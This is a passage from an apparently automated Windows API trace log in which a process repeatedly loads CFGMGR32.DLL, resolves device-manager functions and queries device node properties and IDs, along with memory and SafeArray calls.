lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0200.293] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0200.293] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0200.293] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0200.294] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0200.294] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0200.294] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0200.294] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0200.294] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0200.294] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0200.294] malloc (_Size=0x18) returned 0x196ef0d1e60 [0200.295] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x32, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0200.298] malloc (_Size=0x48) returned 0x196ef0fbb30 [0200.298] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x583d79c0, dwHighDateTime=0x1d9eb0c)) [0200.298] SetEvent (hEvent=0x248) returned 1 [0200.471] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0200.471] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0200.471] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0200.472] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0200.472] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0200.472] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0200.472] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0200.472] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0200.472] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0200.473] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0200.473] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0200.473] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0200.473] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0200.473] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0200.473] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0200.473] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0200.474] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0200.474] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0200.474] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0200.474] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0200.474] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0200.474] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0200.474] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0200.475] malloc (_Size=0x18) returned 0x196ef0d19e0 [0200.475] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x32, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0200.475] malloc (_Size=0x48) returned 0x196ef0fc120 [0200.475] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x5857b3b0, dwHighDateTime=0x1d9eb0c)) [0200.475] SetEvent (hEvent=0x248) returned 1 [0200.480] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0200.480] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0200.480] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0200.480] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0200.481] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0200.481] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0200.481] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0200.481] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0200.481] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0200.482] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0200.482] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0200.482] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0200.482] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0200.482] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0200.483] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0200.483] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0200.483] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0200.483] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0200.483] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0200.484] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0200.484] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0200.484] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0200.484] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0200.484] malloc (_Size=0x18) returned 0x196ef0d1b60 [0200.485] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x32, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0200.485] malloc (_Size=0x48) returned 0x196ef0fbc20 [0200.485] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x585a1574, dwHighDateTime=0x1d9eb0c)) [0200.486] SetEvent (hEvent=0x248) returned 1 [0200.491] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0200.491] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0200.491] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0200.491] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0200.491] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0200.492] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0200.492] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0200.492] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0200.492] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0200.492] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0200.492] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0200.492] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0200.493] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0200.493] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0200.493] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0200.493] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0200.493] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0200.493] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0200.493] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0200.494] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0200.494] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0200.494] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0200.494] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0200.494] malloc (_Size=0x18) returned 0x196ef0d1c40 [0200.494] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x32, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0200.495] malloc (_Size=0x48) returned 0x196ef0fb6d0 [0200.495] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x585c7954, dwHighDateTime=0x1d9eb0c)) [0200.495] SetEvent (hEvent=0x248) returned 1 [0200.500] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0200.500] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0200.500] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0200.500] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0200.500] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0200.501] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0200.501] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0200.501] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0200.501] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0200.501] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0200.501] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0200.501] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0200.502] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0200.502] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0200.502] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0200.502] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0200.502] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0200.502] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0200.503] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0200.503] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0200.503] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0200.503] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0200.503] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0200.503] malloc (_Size=0x18) returned 0x196ef0d1d20 [0200.503] CM_Get_Device_IDA (in: dnDevInst=0x33, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="PCI\\VEN_8086&DEV_293A&SUBSYS_11001AF4&REV_03\\3&11583659&0&10") returned 0x0 [0200.504] malloc (_Size=0x48) returned 0x196ef0fba40 [0200.504] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x585c7954, dwHighDateTime=0x1d9eb0c)) [0200.504] SetEvent (hEvent=0x248) returned 1 [0200.508] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0200.508] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0200.508] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0200.508] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0200.508] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0200.509] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0200.509] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0200.509] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0200.509] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0200.509] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0200.510] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0200.510] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0200.510] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0200.510] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0200.510] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0200.510] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0200.511] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0200.511] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0200.511] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0200.511] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0200.511] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0200.511] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0200.512] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0200.512] malloc (_Size=0x18) returned 0x196ef0d1f20 [0200.512] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x33, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0200.512] malloc (_Size=0x124) returned 0x196ef0d6890 [0200.512] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x33, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0d6890, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d6890, pulLength=0x67117d608) returned 0x0 [0200.513] free (_Block=0x196ef0d6890) [0200.514] malloc (_Size=0x48) returned 0x196ef0fb8b0 [0200.514] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x585edb9e, dwHighDateTime=0x1d9eb0c)) [0200.514] SetEvent (hEvent=0x248) returned 1 [0200.905] malloc (_Size=0x18) returned 0x196ef0d1b00 [0200.905] SafeArrayPutElement (psa=0x196ee7bee60, rgIndices=0x67117d6d8, pv=0x196ee7aade8) returned 0x0 [0200.905] free (_Block=0x196ef0d1b00) [0200.905] malloc (_Size=0x18) returned 0x196ef0d1a80 [0200.906] SafeArrayPutElement (psa=0x196ee7bee60, rgIndices=0x67117d6d8, pv=0x196ee7aade8) returned 0x0 [0200.906] free (_Block=0x196ef0d1a80) [0200.906] malloc (_Size=0x18) returned 0x196ef0d1d20 [0200.906] SafeArrayPutElement (psa=0x196ee7bee60, rgIndices=0x67117d6d8, pv=0x196ee7aade8) returned 0x0 [0200.906] free (_Block=0x196ef0d1d20) [0200.906] malloc (_Size=0x18) returned 0x196ef0d1f00 [0200.906] SafeArrayPutElement (psa=0x196ee7bee60, rgIndices=0x67117d6d8, pv=0x196ee7aade8) returned 0x0 [0200.906] free (_Block=0x196ef0d1f00) [0200.906] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee855fe0 [0200.906] SafeArrayGetDim (psa=0x196ee7bee60) returned 0x1 [0200.906] SafeArrayGetLBound (in: psa=0x196ee7bee60, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0200.906] SafeArrayGetUBound (in: psa=0x196ee7bee60, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0200.906] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ef3b6050 [0200.906] SafeArrayGetDim (psa=0x196ee7bee60) returned 0x1 [0200.906] SafeArrayGetUBound (in: psa=0x196ee7bee60, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0200.906] SafeArrayGetElemsize (psa=0x196ee7bee60) returned 0x8 [0200.907] SafeArrayGetElement (in: psa=0x196ee7bee60, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0200.907] memcpy (in: _Dst=0x67117d268, _Src=0x196ef3b6290, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0200.907] memcpy (in: _Dst=0x67117d268, _Src=0x196ef3b6298, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0200.908] memcpy (in: _Dst=0x67117d268, _Src=0x196ef3b62a0, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0200.908] memcpy (in: _Dst=0x67117d268, _Src=0x196ef3b62a8, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0200.909] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef3b6050) returned 1 [0200.909] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee855fe0) returned 1 [0200.910] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0200.910] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0200.910] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0200.911] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0200.911] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0200.911] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0200.911] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0200.911] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0200.911] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0200.911] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0200.912] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0200.912] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0200.912] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0200.912] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0200.912] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0200.912] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0200.913] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0200.913] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0200.913] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0200.913] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0200.914] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0200.914] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0200.914] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0200.914] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0200.914] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x33, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0200.914] malloc (_Size=0x10e) returned 0x196ef0d6890 [0200.914] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x33, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x196ef0d6890, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d6890, pulLength=0x67117d608) returned 0x0 [0200.915] free (_Block=0x196ef0d6890) [0200.915] malloc (_Size=0x48) returned 0x196ef0fbd60 [0200.915] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x589cd654, dwHighDateTime=0x1d9eb0c)) [0200.916] SetEvent (hEvent=0x248) returned 1 [0200.919] malloc (_Size=0x18) returned 0x196ef0d1a40 [0200.919] SafeArrayPutElement (psa=0x196ee7bfaa0, rgIndices=0x67117d6d8, pv=0x196ee7aade8) returned 0x0 [0200.919] free (_Block=0x196ef0d1a40) [0200.919] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0200.919] SafeArrayPutElement (psa=0x196ee7bfaa0, rgIndices=0x67117d6d8, pv=0x196ee777cf8) returned 0x0 [0200.919] free (_Block=0x196ef0d1ba0) [0200.919] malloc (_Size=0x18) returned 0x196ef0d1fa0 [0200.919] SafeArrayPutElement (psa=0x196ee7bfaa0, rgIndices=0x67117d6d8, pv=0x196ee777cf8) returned 0x0 [0200.919] free (_Block=0x196ef0d1fa0) [0200.920] malloc (_Size=0x18) returned 0x196ef0d1f60 [0200.920] SafeArrayPutElement (psa=0x196ee7bfaa0, rgIndices=0x67117d6d8, pv=0x196ee777cf8) returned 0x0 [0200.920] free (_Block=0x196ef0d1f60) [0200.920] malloc (_Size=0x18) returned 0x196ef0d1ca0 [0200.920] SafeArrayPutElement (psa=0x196ee7bfaa0, rgIndices=0x67117d6d8, pv=0x196ee777cf8) returned 0x0 [0200.920] free (_Block=0x196ef0d1ca0) [0200.920] malloc (_Size=0x18) returned 0x196ef0d1a80 [0200.920] SafeArrayPutElement (psa=0x196ee7bfaa0, rgIndices=0x67117d6d8, pv=0x196ee777cf8) returned 0x0 [0200.920] free (_Block=0x196ef0d1a80) [0200.920] malloc (_Size=0x18) returned 0x196ef0d1cc0 [0200.920] SafeArrayPutElement (psa=0x196ee7bfaa0, rgIndices=0x67117d6d8, pv=0x196ee79a5a8) returned 0x0 [0200.920] free (_Block=0x196ef0d1cc0) [0200.920] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee855860 [0200.920] SafeArrayGetDim (psa=0x196ee7bfaa0) returned 0x1 [0200.921] SafeArrayGetLBound (in: psa=0x196ee7bfaa0, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0200.921] SafeArrayGetUBound (in: psa=0x196ee7bfaa0, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0200.921] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ef3b6050 [0200.921] SafeArrayGetDim (psa=0x196ee7bfaa0) returned 0x1 [0200.921] SafeArrayGetUBound (in: psa=0x196ee7bfaa0, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0200.921] SafeArrayGetElemsize (psa=0x196ee7bfaa0) returned 0x8 [0200.921] SafeArrayGetElement (in: psa=0x196ee7bfaa0, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0200.921] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7bee90, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0200.922] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7bee98, _Size=0x8 | out: _Dst=0x67117d268) returned 